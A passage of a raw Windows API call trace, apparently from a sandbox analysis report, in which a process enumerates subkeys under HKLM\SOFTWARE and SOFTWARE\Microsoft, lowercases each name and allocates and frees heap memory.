Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.003] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df91c | out: phkResult=0x2df91c*=0xa0) returned 0x0 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x184) returned 0xd5d040 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bca0 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bc58 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bce8 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bd30 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bd78 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bdc0 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5be08 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5be50 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5be98 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bee0 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bf28 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bf70 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bfb8 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c000 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c048 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c090 [0173.003] RegCloseKey (hKey=0x80000002) returned 0x0 [0173.003] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xd5b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0xd5c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.004] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xd5b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0xd5c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.004] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xd5b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0xd5c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.004] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xd5b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0xd5c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.004] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.004] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xd5b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0173.004] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.005] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0xd5c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0173.005] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.005] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.005] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.005] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.005] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0xd5b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0173.005] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.005] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0xd5c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0173.005] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.005] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.005] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.005] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.005] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0xd5b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0173.005] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0173.005] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0xd5c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0173.005] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.005] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.005] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.005] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.005] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df91c | out: phkResult=0x2df91c*=0x24) returned 0x0 [0173.005] RegCloseKey (hKey=0xa0) returned 0x0 [0173.005] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xd5b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0173.005] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.005] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0xd5c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0173.005] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.005] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.006] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xd5b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0xd5c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.006] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xd5b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0xd5c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.006] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xd5b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0xd5c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.006] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xd5b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0xd5c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0173.006] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.006] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.007] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xd5b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0xd5c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.007] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xd5b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0xd5c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.007] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xd5b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0xd5c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.007] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xd5b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0xd5c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0173.007] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.007] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.008] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.008] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xd5b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0xd5c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.008] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.008] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.008] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.008] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xd5b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0xd5c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.008] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.008] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.008] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.008] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xd5b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0xd5c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.008] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.008] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.008] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 